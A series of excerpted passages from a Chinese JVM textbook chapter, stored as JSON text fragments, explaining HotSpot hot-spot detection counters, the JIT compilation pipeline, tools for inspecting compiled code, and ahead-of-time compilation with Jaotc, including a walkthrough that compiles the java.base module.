    {"text": "读者可能还会有疑问，在上面的描述里，无论是“多次执行的方法”，还是“多次执行的代码块”，所谓“多次”只定性不定量，并不是一个具体严谨的用语，那到底多少次才算“多次”呢？"},
    {"text": "要知道某段代码是不是热点代码，是不是需要触发即时编译，这个行为称为“热点探测”（Hot Spot Code Detection），其实进行热点探测并不一定要知道方法具体被调用了多少次，目前主流的热点探测判定方式有两种 [2] ，分别是： ·基于采样的热点探测（Sample Based Hot Spot Code Detection）。"},
    {"text": "基于采样的热点探测的好处是实现简单高效，还可以很容易地获取方法调用关系（将调用堆栈展开即可），缺点是很难精确地确认一个方法的热度，容易因为受到线程阻塞或别的外界因素的影响而扰乱热点探测。"},
    {"text": "采用这种方法的虚拟机会为每个方法（甚至是代码块）建立计数器，统计方法的执行次数，如果执行次数超过一定的阈值就认为它是“热点方法”。"},
    {"text": "这两种探测手段在商用Java虚拟机中都有使用到，譬如J9用过第一种采样热点探测，而在HotSpot虚拟机中使用的是第二种基于计数器的热点探测方法，为了实现热点计数，HotSpot为每个方法准备了两类计数器：方法调用计数器（Invocation Counter）和回边计数器（Back Edge Counter，“回边”的意思就是指在循环边界往回跳转）。"},
    {"text": "顾名思义，这个计数器就是用于统计方法被调用的次数，它的默认阈值在客户端模式下是1500次，在服务端模式下是10000次，这个阈值可以通过虚拟机参数-XX：CompileThreshold来人为设定。"},
    {"text": "如果不存在已被编译过的版本，则将该方法的调用计数器值加一，然后判断方法调用计数器与回边计数器值之和是否超过方法调用计数器的阈值。"},
    {"text": "如果没有做过任何设置，执行引擎默认不会同步等待编译请求完成，而是继续进入解释器按照解释方式执行字节码，直到提交的请求被即时编译器编译完成。"},
    {"text": "当编译工作完成后，这个方法的调用入口地址就会被系统自动改写成新值，下一次调用该方法时就会使用已编译的版本了，整个即时编译的交互过程如图11-3所示。"},
    {"text": "当超过一定的时间限度，如果方法的调用次数仍然不足以让它提交给即时编译器编译，那该方法的调用计数器就会被减少一半，这个过程被称为方法调用计数器热度的衰减（Counter Decay），而这段时间就称为此方法统计的半衰周期（Counter Half Life Time），进行热度衰减的动作是在虚拟机进行垃圾收集时顺便进行的，可以使用虚拟机参数-XX：-UseCounterDecay来关闭热度衰减，让方法计数器统计方法调用的绝对次数，这样只要系统运行时间足够长，程序中绝大部分方法都会被编译成本地代码。"},
    {"text": "图11-3 方法调用计数器触发即时编译 现在我们再来看看另外一个计数器——回边计数器，它的作用是统计一个方法中循环体代码执行的次数 [3] ，在字节码中遇到控制流向后跳转的指令就称为“回边（Back Edge）”，很显然建立回边计数器统计的目的是为了触发栈上的替换编译。"},
    {"text": "关于回边计数器的阈值，虽然HotSpot虚拟机也提供了一个类似于方法调用计数器阈值-XX：CompileThreshold的参数-XX：BackEdgeThreshold供用户设置，但是当前的HotSpot虚拟机实际上并未使用此参数，我们必须设置另外一个参数-XX：OnStackReplacePercentage来间接调整回边计数器的阈值，其计算公式有如下两种。 ·虚拟机运行在客户端模式下，回边计数器阈值计算公式为：方法调用计数器阈值（-XX：CompileThreshold）乘以OSR比率（-XX：OnStackReplacePercentage）除以100。 其中-XX：OnStackReplacePercentage默认值为933，如果都取默认值，那客户端模式虚拟机的回边计数器的阈值为13995。 ·虚拟机运行在服务端模式下，回边计数器阈值的计算公式为：方法调用计数器阈值（-XX：CompileThreshold）乘以（OSR比率（-XX：OnStackReplacePercentage）减去解释器监控比率（-XX：InterpreterProfilePercentage）的差值）除以100。 其中-XX：OnStack ReplacePercentage默认值为140，-XX：InterpreterProfilePercentage默认值为33，如果都取默认值，那服务端模式虚拟机回边计数器的阈值为10700。"},
    {"text": "当解释器遇到一条回边指令时，会先查找将要执行的代码片段是否有已经编译好的版本，如果有的话，它将会优先执行已编译的代码，否则就把回边计数器的值加一，然后判断方法调用计数器与回边计数器值之和是否超过回边计数器的阈值。 当超过阈值的时候，将会提交一个栈上替换编译请求，并且把回边计数器的值稍微降低一些，以便继续在解释器中执行循环，等待编译器输出编译结果，整个执行过程如图11-4所示。 图11-4 回边计数器触发即时编译 与方法计数器不同，回边计数器没有计数热度衰减的过程，因此这个计数器统计的就是该方法循环执行的绝对次数。 当计数器溢出的时候，它还会把方法计数器的值也调整到溢出状态，这样下次再进入该方法的时候就会执行标准编译过程。"},
    {"text": "最后还要提醒一点，图11-2和图11-3都仅仅是描述了客户端模式虚拟机的即时编译方式，对于服务端模式虚拟机来说，执行情况会比上面描述还要复杂一些。"},
    {"text": "从理论上了解过编译对象和编译触发条件后，我们还可以从HotSpot虚拟机的源码中简单观察一下这两个计数器，在MehtodOop.hpp（一个methodOop对象代表了一个Java方法）中，定义了Java方法在虚拟机中的内存布局，如下所示： // |------------------------------------------------------| // | header | // | klass | // |------------------------------------------------------| // | constMethodOop (oop) | // | constants (oop) | // |------------------------------------------------------| // | methodData (oop) | // | interp_invocation_count | // |------------------------------------------------------| // | access_flags | // | vtable_index | // |------------------------------------------------------| // | result_index (C++ interpreter only) | // |------------------------------------------------------| // | method_size | max_stack | // | max_locals | size_of_parameters | // |------------------------------------------------------| // |intrinsic_id| flags | throwout_count | // |------------------------------------------------------| // | num_breakpoints | (unused) | // |------------------------------------------------------| // | invocation_counter | // | backedge_counter | // |------------------------------------------------------| // | prev_time (tiered only, 64 bit wide) | // | | // |------------------------------------------------------| // | rate (tiered) | // |------------------------------------------------------| // | code (pointer) | // | i2i (pointer) | // | adapter (pointer) | // | from_compiled_entry (pointer) | // | from_interpreted_entry (pointer) | // |------------------------------------------------------| // | native_function (present only if native) | // | signature_handler (present only if native) | // |------------------------------------------------------| 在这段注释所描述的方法内存布局里，每一行表示占用32个比特，从中我们可以清楚看到方法调用计数器和回边计数器所在的位置和数据宽度，另外还有from_compiled_entry和from_interpreted_entry两个方法入口所处的位置。"},
    {"text": "[1] 还有一个不太上台面但其实是Java虚拟机必须支持循环体触发编译的理由，是诸多跑分软件的测试用力通常都属于第二种，如果不去支持跑分会显得成绩很不好看。"},
    {"text": "[2] 除这两种方式外，还有其他热点代码的探测方式，如基于“踪迹”（Trace）的热点探测在最近相当流行，像FireFox里的TraceMonkey和Dalvik里新的即时编译器都是用了这种热点探测方式。"},
    {"text": "[3] 准确地说，应当是回边的次数而不是循环次数，因为并非所有的循环都是回边，如空循环实际上就可以视为自己跳转到自己的过程，因此并不算作控制流向后跳转，也不会被回边计数器统计。"},
    {"text": "11.2.3 编译过程 在默认条件下，无论是方法调用产生的标准编译请求，还是栈上替换编译请求，虚拟机在编译器还未完成编译之前，都仍然将按照解释方式继续执行代码，而编译动作则在后台的编译线程中进行。用户可以通过参数-XX：-BackgroundCompilation来禁止后台编译，后台编译被禁止后，当达到触发即时编译的条件时，执行线程向虚拟机提交编译请求以后将会一直阻塞等待，直到编译过程完成再开始执行编译器输出的本地代码。 那在后台执行编译的过程中，编译器具体会做什么事情呢？服务端编译器和客户端编译器的编译过程是有所差别的。对于客户端编译器来说，它是一个相对简单快速的三段式编译器，主要的关注点在于局部性的优化，而放弃了许多耗时较长的全局优化手段。 在第一个阶段，一个平台独立的前端将字节码构造成一种高级中间代码表示（High-Level Intermediate Representation，HIR，即与目标机器指令集无关的中间表示）。HIR使用静态单分配（Static Single Assignment，SSA）的形式来代表代码值，这可以使得一些在HIR的构造过程之中和之后进行的优化动作更容易实现。在此之前编译器已经会在字节码上完成一部分基础优化，如方法内联、常量传播等优化将会在字节码被构造成HIR之前完成。 在第二个阶段，一个平台相关的后端从HIR中产生低级中间代码表示（Low-Level Intermediate Representation，LIR，即与目标机器指令集相关的中间表示），而在此之前会在HIR上完成另外一些优化，如空值检查消除、范围检查消除等，以便让HIR达到更高效的代码表示形式。 最后的阶段是在平台相关的后端使用线性扫描算法（Linear Scan Register Allocation）在LIR上分配寄存器，并在LIR上做窥孔（Peephole）优化，然后产生机器代码。客户端编译器大致的执行过程如图11-5所示。 图11-5 Client Compiler架构 而服务端编译器则是专门面向服务端的典型应用场景，并为服务端的性能配置针对性调整过的编译器，也是一个能容忍很高优化复杂度的高级编译器，几乎能达到GNU C++编译器使用-O2参数时的优化强度。它会执行大部分经典的优化动作，如：无用代码消除（Dead Code Elimination）、循环展开（Loop Unrolling）、循环表达式外提（Loop Expression Hoisting）、消除公共子表达式（Common Subexpression Elimination）、常量传播（Constant Propagation）、基本块重排序（Basic Block Reordering）等，还会实施一些与Java语言特性密切相关的优化技术，如范围检查消除（Range Check Elimination）、空值检查消除（Null Check Elimination，不过并非所有的空值检查消除都是依赖编译器优化的，有一些是代码运行过程中自动优化了）等。另外，还可能根据解释器或客户端编译器提供的性能监控信息，进行一些不稳定的预测性激进优化，如守护内联（Guarded Inlining）、分支频率预测（Branch Frequency Prediction）等，本章的下半部分将会挑选上述的一部分优化手段进行分析讲解，在此就先不做展开。 服务端编译采用的寄存器分配器是一个全局图着色分配器，它可以充分利用某些处理器架构（如RISC）上的大寄存器集合。以即时编译的标准来看，服务端编译器无疑是比较缓慢的，但它的编译速度依然远远超过传统的静态优化编译器，而且它相对于客户端编译器编译输出的代码质量有很大提高，可以大幅减少本地代码的执行时间，从而抵消掉额外的编译时间开销，所以也有很多非服务端的应用选择使用服务端模式的HotSpot虚拟机来运行。 在本节中出现了许多编译原理和代码优化中的概念名词，没有这方面基础的读者，可能阅读起来会感觉到很抽象、很理论化。有这种感觉并不奇怪，一方面，即时编译过程本来就是一个虚拟机中最能体现技术水平也是最复杂的部分，很难在几页纸的篇幅中介绍得面面俱到；另一方面，这个过程对Java开发者来说是完全透明的，程序员平时无法感知它的存在。所幸，HotSpot虚拟机提供了两个可视化的工具，让我们可以“看见”即时编译器的优化过程。下面笔者将实践演示这个过程。"},
    {"text": "11.2.4 实战：查看及分析即时编译结果 一般来说，Java虚拟机的即时编译过程对用户和程序都是完全透明的，虚拟机是通过解释来执行代码还是通过编译来执行代码，对于用户来说并没有什么影响（对执行结果没有影响，速度上会有显著差别），大多数情况下用户也没有必要知道。"},
    {"text": "如果读者使用的是根据第1章的教程自己编译的JDK，请注意将“--with-debug-level”参数设置为“fastdebug”或者“slowdebug”。 现在Oracle和OpenJDK网站上都已经不再直接提供FastDebug的JDK下载了（从JDK 6 Update 25之后官网上就没有再提供下载），所以要完成本节全部测试内容，读者除了自己动手编译外，就只能到网上搜索非官方编译的版本了。"},
    {"text": "代码清单11-2 测试代码 public static final int NUM = 15000; public static int doubleValue(int i) { // 这个空循环用于后面演示JIT代码优化过程 for(int j=0; j<100000; j++); return i * 2; } public static long calcSum() { long sum = 0; for (int i = 1; i <= 100; i++) { sum += doubleValue(i); } return sum; } public static void main(String[] args) { for (int i = 0; i < NUM; i++) { calcSum(); } } 我们首先来运行这段代码，并且确认这段代码是否触发了即时编译。"},
    {"text": "要知道某个方法是否被编译过，可以使用参数-XX：+PrintCompilation要求虚拟机在即时编译时将被编译成本地代码的方法名称打印出来，如代码清单11-3所示（其中带有“%”的输出说明是由回边计数器触发的栈上替换编译）。 代码清单11-3 被即时编译的代码 VM option '+PrintCompilation' 310 1 java.lang.String::charAt (33 bytes) 329 2 org.fenixsoft.jit.Test::calcSum (26 bytes) 329 3 org.fenixsoft.jit.Test::doubleValue (4 bytes) 332 1% org.fenixsoft.jit.Test::main @ 5 (20 bytes) 从代码清单11-3输出的信息中可以确认，main()、calcSum()和doubleValue()方法已经被编译，我们还可以加上参数-XX：+PrintInlining要求虚拟机输出方法内联信息，如代码清单11-4所示。 代码清单11-4 内联信息 VM option '+PrintCompilation' VM option '+PrintInlining' 273 1 java.lang.String::charAt (33 bytes) 291 2 org.fenixsoft.jit.Test::calcSum (26 bytes) @ 9 org.fenixsoft.jit.Test::doubleValue inline (hot) 294 3 org.fenixsoft.jit.Test::doubleValue (4 bytes) 295 1% org.fenixsoft.jit.Test::main @ 5 (20 bytes) @ 5 org.fenixsoft.jit.Test::calcSum inline (hot) @ 9 org.fenixsoft.jit.Test::doubleValue inline (hot) 从代码清单11-4的输出日志中可以看到，doubleValue()方法已被内联编译到calcSum()方法中，而calcSum()方法又被内联编译到main()方法里面，所以虚拟机再次执行main()方法的时候（举例而已，main()方法当然不会运行两次），calcSum()和doubleValue()方法是不会再被实际调用的，没有任何方法分派的开销，它们的代码逻辑都被直接内联到main()方法里面了。"},
    {"text": "虚拟机提供了一组通用的反汇编接口 [1] ，可以接入各种平台下的反汇编适配器，如使用32位x86平台应选用hsdis-i386适配器，64位则需要选用hsdis-amd64 [2] ，其余平台的适配器还有如hsdis-sparc、hsdis-sparcv9和hsdis-aarch64等，读者可以下载或自己编译出与自己机器相符合的反汇编适配器，之后将其放置在JAVA_HOME/lib/amd64/server下 [3] ，只要与jvm.dll或libjvm.so的路径相同即可被虚拟机调用。 为虚拟机安装了反汇编适配器之后，我们就可以使用-XX：+PrintAssembly参数要求虚拟机打印编译方法的汇编代码了，关于HSDIS插件更多的操作介绍，可以参考第4章的相关内容。 如果没有HSDIS插件支持，也可以使用-XX：+PrintOptoAssembly（用于服务端模式的虚拟机）或-XX：+PrintLIR（用于客户端模式的虚拟机）来输出比较接近最终结果的中间代码表示，代码清单11-2所示代码被编译后部分反汇编（使用-XX：+PrintOptoAssembly）的输出结果如代码清单11-5所示。 对于阅读来说，使用-XX：+PrintOptoAssembly参数输出的伪汇编结果包含了更多的信息（主要是注释），有利于人们阅读、理解虚拟机即时编译器的优化结果。 代码清单11-5 本地机器码反汇编信息（部分） …… …… 000 B1: # N1 <- BLOCK HEAD IS JUNK Freq: 1 000 pushq rbp subq rsp, #16 # Create frame nop # nop for patch_verified_entry 006 movl RAX, RDX # spill 008 sall RAX, #1 00a addq rsp, 16 # Destroy frame popq rbp testl rax, [rip + #offset_to_poll_page] # Safepoint: poll for GC …… …… 前面提到的使用-XX：+PrintAssembly参数输出反汇编信息需要FastDebug或SlowDebug优化级别的HotSpot虚拟机才能直接支持，如果使用Product版的虚拟机，则需要加入参数-XX：+UnlockDiagnosticVMOptions打开虚拟机诊断模式。 如果除了本地代码的生成结果外，还想再进一步跟踪本地代码生成的具体过程，那可以使用参数-XX：+PrintCFGToFile（用于客户端编译器）或-XX：PrintIdealGraphFile（用于服务端编译器）要求Java虚拟机将编译过程中各个阶段的数据（譬如对客户端编译器来说包括字节码、HIR生成、LIR生成、寄存器分配过程、本地代码生成等数据）输出到文件中。"},
    {"text": "然后使用Java HotSpot Client Compiler Visualizer [4] （用于分析客户端编译器）或Ideal Graph Visualizer [5] （用于分析服务端编译器）打开这些数据文件进行分析。"},
    {"text": "这里先把重点放在编译整体过程阶段及Ideal Graph Visualizer功能介绍上，在稍后在介绍Graal编译器的实战小节里，我们会使用Ideal Graph Visualizer来详细分析虚拟机进行代码优化和生成时的执行细节，届时我们将重点关注编译器是如何实现这些优化的。"},
    {"text": "服务端编译器的中间代码表示是一种名为理想图（Ideal Graph）的程序依赖图（Program Dependence Graph，PDG），在运行Java程序的FastDebug或SlowDebug优化级别的虚拟机上的参数中加入“-XX：PrintIdealGraphLevel=2-XX：PrintIdeal-GraphFile=ideal.xml”，即时编译后将会产生一个名为ideal.xml的文件，它包含了服务端编译器编译代码的全过程信息，可以使用Ideal Graph Visualizer对这些信息进行分析。 图11-6 编译过的方法列表 Ideal Graph Visualizer加载ideal.xml文件后，在Outline面板上将显示程序运行过程中编译过的方法列表，如图11-6所示。"},
    {"text": "这里列出的方法是代码清单11-2中所示的测试代码，其中doubleValue()方法出现了两次，这是由于该方法的编译结果存在标准编译和栈上替换编译两个版本。 在代码清单11-2中，专门为doubleValue()方法增加了一个空循环，这个循环对方法的运算结果不会产生影响，但如果没有任何优化，执行该循环就会耗费处理器时间。"},
    {"text": "直到今天还有不少程序设计的入门教程会把空循环当作程序延时的手段来介绍，下面我们就来看看在Java语言中这样的做法是否真的能起到延时的作用。"},
    {"text": "展开方法根节点，可以看到下面罗列了方法优化过程的各个阶段（根据优化措施的不同，每个方法所经过的阶段也会有所差别）的理想图，我们先打开“After Parsing”这个阶段。"},
    {"text": "基本块是指程序按照控制流分割出来的最小代码块，它的特点是只有唯一的一个入口和唯一的一个出口，只要基本块中第一条指令被执行了，那么基本块内所有指令都会按照顺序全部执行一次。"},
    {"text": "图11-7 基本块图示（1） 代码清单11-2所示的doubleValue()方法虽然只有简单的两行字，但是按基本块划分后，形成的图形结构却要比想象中复杂得多，这是因为一方面要满足Java语言所定义的安全需要（如类型安全、空指针检查）和Java虚拟机的运作需要（如Safepoint轮询），另一方面有些程序代码中一行语句就可能形成几个基本块（例如循环语句）。 对于例子中的doubleValue()方法，如果忽略语言安全检查的基本块，可以简单理解为按顺序执行了以下几件事情： 1）程序入口，建立栈帧。"},
    {"text": "图11-8 基本块图示（2） 要观察这一点，可以在Outline面板上右击“Difference to current graph”，让软件自动分析指定阶段与当前打开的理想图之间的差异，如果基本块被消除了，将会以红色显示。"},
    {"text": "对“After Parsing”和“PhaseIdealLoop 1”阶段的理想图进行差异分析，会发现在“PhaseIdealLoop 1”阶段循环操作就被消除了，如图11-9所示，这也就说明空循环在最终的本地代码里实际上是不会被执行的。"},
    {"text": "图11-9 基本块图示（3） 从“After Parsing”阶段开始，一直到最后的“Final Code”阶段都可以看到doubleValue()方法的理想图从繁到简的变迁过程，这也反映了Java虚拟机即时编译器尽力优化代码的过程。"},
    {"text": "到了最后的“Final Code”阶段，不仅空循环的开销被消除了，许多语言安全保障措施和GC安全点的轮询操作也被一起消除了，因为编译器判断到即使不做这些保障措施，程序也能得到相同的结果，不会有可观察到的副作用产生，虚拟机的运行安全也不会受到威胁。"},
    {"text": "此源码需要执行编译，对于HSDIS的编译，读者可以参考AdoptOpenJDK的官方GitHub：https://github.com/AdoptOpenJDK/jitwatch/wiki/Building-hsdis/。 如果不想自己编译，在GitHub上搜索“hsdis-i386.so/dll”“hsdis-amd64.so/dll”这样的关键词也可以找到不少编译好的Linux或Windows的HSDIS插件。"},
    {"text": "[4] 官方站点：http://ssw.jku.at/Research/Projects/JVM/CCVis.html。 [5] 官方站点：http://ssw.jku.at/General/Staff/TW/igv.html。"},
    {"text": "11.3 提前编译器 提前编译在Java技术体系中并不是新事物。1996年JDK 1.0发布，Java有了正式的运行环境，第一个可以使用外挂即时编译器的Java版本是1996年7月发布的JDK 1.0.2，而Java提前编译器的诞生并没有比这晚多少。仅几个月后，IBM公司就推出了第一款用于Java语言的提前编译器（IBM High Performance Compiler for Java）。在1998年，GNU组织公布了著名的GCC家族（GNU Compiler Collection）的新成员GNU Compiler for Java（GCJ，2018年从GCC家族中除名），这也是一款Java的提前编译器 [1] ，而且曾经被广泛应用。在OpenJDK流行起来之前，各种Linux发行版带的Java实现通常就是GCJ。 但是提前编译很快又在Java世界里沉寂了下来，因为当时Java的一个核心优势是平台中立性，其宣传口号是“一次编译，到处运行”，这与平台相关的提前编译在理念上就是直接冲突的。GCJ出现之后在长达15年的时间里，提前编译这条故事线上基本就再没有什么大的新闻和进展了。类似的状况一直持续至2013年，直到在Android的世界里，剑走偏锋使用提前编译的ART（Android Runtime）横空出世。ART一诞生马上就把使用即时编译的Dalvik虚拟机按在地上使劲蹂躏，仅经过Android 4.4一个版本的短暂交锋之后，ART就迅速终结了Dalvik的性命 [2] ，把它从Android系统里扫地出门。 尽管Android并不能直接等同于Java，但两者毕竟有着深厚渊源，提前编译在Android上的革命与崛起也震撼到了Java世界。在某些领域、某些人眼里，只要能获得更好的执行性能，什么平台中立性、字节膨胀 [3] 、动态扩展 [4] ，一切皆可舍弃，唯一的问题就只有“提前编译真的会是获得更高性能的银弹吗？” [1] GCJ其实包含了整个Java运行时，里面也有解释器和即时编译器存在。 [2] ART干掉Dalvik之后，到Android 7.0时其内部也加入了解释执行和即时编译，这是后话。 [3] 指提前编译的本地二进制码的体积会明显大于字节码的体积。 [4] 指提前编译通常要求程序是封闭的，不能在外部动态加载新的字节码。"},
    {"text": "11.3.1 提前编译的优劣得失 本节希望同时向读者展示出一枚硬币的两面，解释清楚提前编译相对于即时编译有什么优势，又有什么不足，还有即时编译器有没有办法得到这些优势，需要付出哪些努力等。"},
    {"text": "现在提前编译产品和对其的研究有着两条明显的分支，一条分支是做与传统C、C++编译器类似的，在程序运行之前把程序代码编译成机器码的静态翻译工作；"},
    {"text": "另外一条分支是把原本即时编译器在运行时要做的编译工作提前做好并保存下来，下次运行到这些代码（譬如公共库代码在被同一台机器其他Java进程使用）时直接把它加载进来使用。"},
    {"text": "即使现在先进的即时编译器已经足够快，以至于能够容忍相当高的优化复杂度了（譬如Azul公司基于LLVM的Falcon JIT，就能够以相当于Clang-O3的优化级别进行即时编译；"},
    {"text": "即使现在先进的即时编译器架构有了分层编译的支持，可以先用快速但低质量的即时编译器为高质量的即时编译器争取出更多编译时间，但是，无论如何，即时编译消耗的时间都是原本可用于程序运行的时间，消耗的运算资源都是原本可用于程序运行的资源，这个约束从未减弱，更不会消失，始终是悬在即时编译头顶的达摩克利斯之剑。"},
    {"text": "这里举个更具体的例子来帮助读者理解这种约束：在编译过程中最耗时的优化措施之一是通过“过程间分析”（Inter-Procedural Analysis，IPA，也经常被称为全程序分析，即Whole Program Analysis）来获得诸如某个程序点上某个变量的值是否一定为常量、某段代码块是否永远不可能被使用、在某个点调用的某个虚方法是否只能有单一版本等的分析结论。"},
    {"text": "这些信息对生成高质量的优化代码有着极为巨大的价值，但是要精确（譬如对流敏感、对路径敏感、对上下文敏感、对字段敏感）得到这些信息，必须在全程序范围内做大量极耗时的计算工作，目前所有常见的Java虚拟机对过程间分析的支持都相当有限，要么借助大规模的方法内联来打通方法间的隔阂，以过程内分析（Intra-Procedural Analysis，只考虑过程内部语句，不考虑过程调用的分析）来模拟过程间分析的部分效果；"},
    {"text": "但如果是在程序运行之前进行的静态编译，这些耗时的优化就可以放心大胆地进行了，譬如Graal VM中的Substrate VM，在创建本地镜像的时候，就会采取许多原本在HotSpot即时编译中并不会做的全程序优化措施 [1] 以获得更好的运行时性能，反正做镜像阶段慢一点并没有什么大影响。"},
    {"text": "在Android 5.0和6.0版本，安装一个稍微大一点的Android应用都是按分钟来计时的，以至于从Android 7.0版本起重新启用了解释执行和即时编译（但这已与Dalvik无关，它彻底凉透了），等空闲时系统再在后台自动进行提前编译。"},
    {"text": "在商业应用中，这条路径最早出现在JDK 6版本的IBM J9虚拟机上，那时候在它的CDS（Class Data Sharing）功能的缓存中就有一块是即时编译缓存 [2] 。 不过这个缓存和CDS缓存一样是虚拟机运行时自动生成的，直接来源于J9的即时编译器，而且为了进程兼容性，很多激进优化都不能肆意运用，所以编译输出的代码质量反而要低于即时编译器。"},
    {"text": "真正引起业界普遍关注的是OpenJDK/OracleJDK 9中所带的Jaotc提前编译器，这是一个基于Graal编译器实现的新工具，目的是让用户可以针对目标机器，为应用程序进行提前编译。"},
    {"text": "这里面确实有比较大的优化价值，试想一下，各种Java应用最起码会用到Java的标准类库，如java.base等模块，如果能够将这个类库提前编译好，并进行比较高质量的优化，显然能够节约不少应用运行时的编译成本。"},
    {"text": "关于这点，我们将在下一节做一个简单的实战练习，而在此要说明的是，这的确是很好的想法，但实际应用起来并不是那么容易，原因是这种提前编译方式不仅要和目标机器相关，甚至还必须与HotSpot虚拟机的运行时参数绑定。"},
    {"text": "譬如虚拟机运行时采用了不同的垃圾收集器，这原本就需要即时编译子系统的配合（典型的如生成内存屏障代码，见第3章相关介绍）才能正确工作，要做提前编译的话，自然也要把这些配合的工作平移过去。"},
    {"text": "尽管还有许多困难，但提前编译无疑已经成为一种极限榨取性能（启动、响应速度）的手段，且被官方JDK关注，相信日后会更加灵活、更加容易使用，就如已经相当成熟的CDS（AppCDS需要用户参与）功能那样，几乎不需要用户介入，可自动完成。"},
    {"text": "提前编译因为没有执行时间和资源限制的压力，能够毫无顾忌地使用重负载的优化手段，这当然是一个极大的优势，但即时编译难道就没有能与其竞争的强项了吗？"},
    {"text": "上一节介绍HotSpot的即时编译器时就多次提及在解释器或者客户端编译器运行过程中，会不断收集性能监控信息，譬如某个程序点抽象类通常会是什么实际类型、条件判断通常会走哪条分支、方法调用通常会选择哪个版本、循环通常会进行多少次等，这些数据一般在静态分析时是无法得到的，或者不可能存在确定且唯一的解，最多只能依照一些启发性的条件去进行猜测。"},
    {"text": "如果一个条件分支的某一条路径执行特别频繁，而其他路径鲜有问津，那就可以把热的代码集中放到一起，集中优化和分配更好的资源（分支预测、寄存器、缓存等）给它。"},
    {"text": "静态优化无论如何都必须保证优化后所有的程序外部可见影响（不仅仅是执行结果）与优化前是等效的，不然优化之后会导致程序报错或者结果不对，若出现这种情况，则速度再快也是没有价值的。"},
    {"text": "然而，相对于提前编译来说，即时编译的策略就可以不必这样保守，如果性能监控信息能够支持它做出一些正确的可能性很大但无法保证绝对正确的预测判断，就已经可以大胆地按照高概率的假设进行优化，万一真的走到罕见分支上，大不了退回到低级编译器甚至解释器上去执行，并不会出现无法挽救的后果。"},
    {"text": "譬如在Java语言中，默认方法都是虚方法调用，部分C、C++程序员（甚至一些老旧教材）会说虚方法是不能内联的，但如果Java虚拟机真的遇到虚方法就去查虚表而不做内联的话，Java技术可能就已经因性能问题而被淘汰很多年了。 实际上虚拟机会通过类继承关系分析等一系列激进的猜测去做去虚拟化（Devitalization），以保证绝大部分有内联价值的虚方法都可以顺利内联。 内联是最基础的一项优化措施，本章稍后还会对专门的Java虚拟机具体如何做虚方法内联进行详细讲解。 最后，是 链接时优化 （Link-Time Optimization，LTO），Java语言天生就是动态链接的，一个个Class文件在运行期被加载到虚拟机内存当中，然后在即时编译器里产生优化后的本地代码，这类事情在Java程序员眼里看起来毫无违和之处。"},
    {"text": "但如果类似的场景出现在使用提前编译的语言和程序上，譬如C、C++的程序要调用某个动态链接库的某个方法，就会出现很明显的边界隔阂，还难以优化。"},
    {"text": "这些代码的作者、编译的时间，以及编译器甚至很可能都是不同的，当出现跨链接库边界的调用时，那些理论上应该要做的优化——譬如做对调用方法的内联，就会执行起来相当的困难。"},
    {"text": "如果刚才说的虚方法内联让C、C++程序员理解还算比较能够接受的话（其实C++编译器也可以通过一些技巧来做到虚方法内联），那这种跨越动态链接库的方法内联在他们眼里可能就近乎于离经叛道了（但实际上依然是可行的）。"},
    {"text": "经过以上的讨论，读者应该能够理解提前编译器的价值与优势所在了，但忽略具体的应用场景就说它是万能的银弹，那肯定是有失偏颇的，提前编译有它的应用场景，也有它的弱项与不足，相信未来很长一段时间内，即时编译和提前编译都会是Java后端编译技术的共同主角。"},
    {"text": "11.3.2 实战：Jaotc的提前编译 JDK 9引入了用于支持对Class文件和模块进行提前编译的工具Jaotc，以减少程序的启动时间和到达全速性能的预热时间，但由于这项功能必须针对特定物理机器和目标虚拟机的运行参数来使用，加之限制太多，Java开发人员对此了解、使用普遍比较少，本节我们将用Jaotc来编译Java SE的基础库 [1] （java.base模块），以改善本机Java环境的执行效率。 我们首先通过一段测试代码（什么代码都可以，最简单的HelloWorld都可以，内容笔者就不贴了）来演示Jaotc的基本使用过程，操作如下： $ javac HelloWorld.java $ java HelloWorld Hello World! $ jaotc --output libHelloWorld.so HelloWorld.class 通过以上命令，就生成了一个名为libHelloWorld.so的库，我们可以使用Linux的ldd命令来确认这是否是一个静态链接库，使用mn命令来确认其中是否包含了HelloWorld的构造函数和main()方法的入口信息，操作如下： $ ldd libHelloWorld.so statically linked $ nm libHelloWorld.so …… 0000000000002a20 t HelloWorld.()V 0000000000002b20 t HelloWorld.main([Ljava/lang/String;)V …… 现在我们就可以使用这个静态链接库而不是Class文件来输出HelloWorld了： java -XX:AOTLibrary=./libHelloWorld.so HelloWorld Hello World! 提前编译一个HelloWorld只具备演示价值，下一步我们来做更有实用意义的事情：把java.base模块编译成类似的静态链接库。 java.base包含的代码数量庞大，虽然其中绝大部分内容现在都能被Jaotc的提前编译所支持了，但总还有那么几个“刺头”会导致编译异常。 因此我们要建立一个编译命令文件来排除这些目前还不支持提前编译的方法，笔者将此文件取名为java.base-list.txt，其具体内容如下： # jaotc: java.lang.StackOverflowError exclude sun.util.resources.LocaleNames.getContents()[[Ljava/lang/Object; exclude sun.util.resources.TimeZoneNames.getContents()[[Ljava/lang/Object; exclude sun.util.resources.cldr.LocaleNames.getContents()[[Ljava/lang/Object; exclude sun.util.resources..*.LocaleNames_.*.getContents\\(\\)\\[\\[Ljava/lang/Object; exclude sun.util.resources..*.LocaleNames_.*_.*.getContents\\(\\)\\[\\[Ljava/lang/Object; exclude sun.util.resources..*.TimeZoneNames_.*.getContents\\(\\)\\[\\[Ljava/lang/Object; exclude sun.util.resources..*.TimeZoneNames_.*_.*.getContents\\(\\)\\[\\[Ljava/lang/Object; # java.lang.Error: Trampoline must not be defined by the bootstrap classloader exclude sun.reflect.misc.Trampoline.<clinit>()V exclude sun.reflect.misc.Trampoline.invoke(Ljava/lang/reflect/Method;Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; # JVM asserts exclude com.sun.crypto.provider.AESWrapCipher.engineUnwrap([BLjava/lang/String;I)Ljava/security/Key; exclude sun.security.ssl.* exclude sun.net.RegisteredDomain.<clinit>()V # Huge methods exclude jdk.internal.module.SystemModules.descriptors()[Ljava/lang/module/ModuleDescriptor; 然后我们就可以开始进行提前编译了，使用的命令如下所示： jaotc -J-XX:+UseCompressedOops -J-XX:+UseG1GC -J-Xmx4g --compile-for-tiered --info --compile-commands java.base-list.txt --output libjava.base-coop.so --module java.base 上面Jaotc用了-J参数传递与目标虚拟机相关的运行时参数，这些运行时信息与编译的结果是直接相关的，编译后的静态链接库只能支持运行在相同参数的虚拟机之上，如果需要支持多种虚拟机运行参数（譬如采用不同垃圾收集器、是否开启压缩指针等）的话，可以花点时间为每一种可能用到的参数组合编译出对应的静态链接库。"},
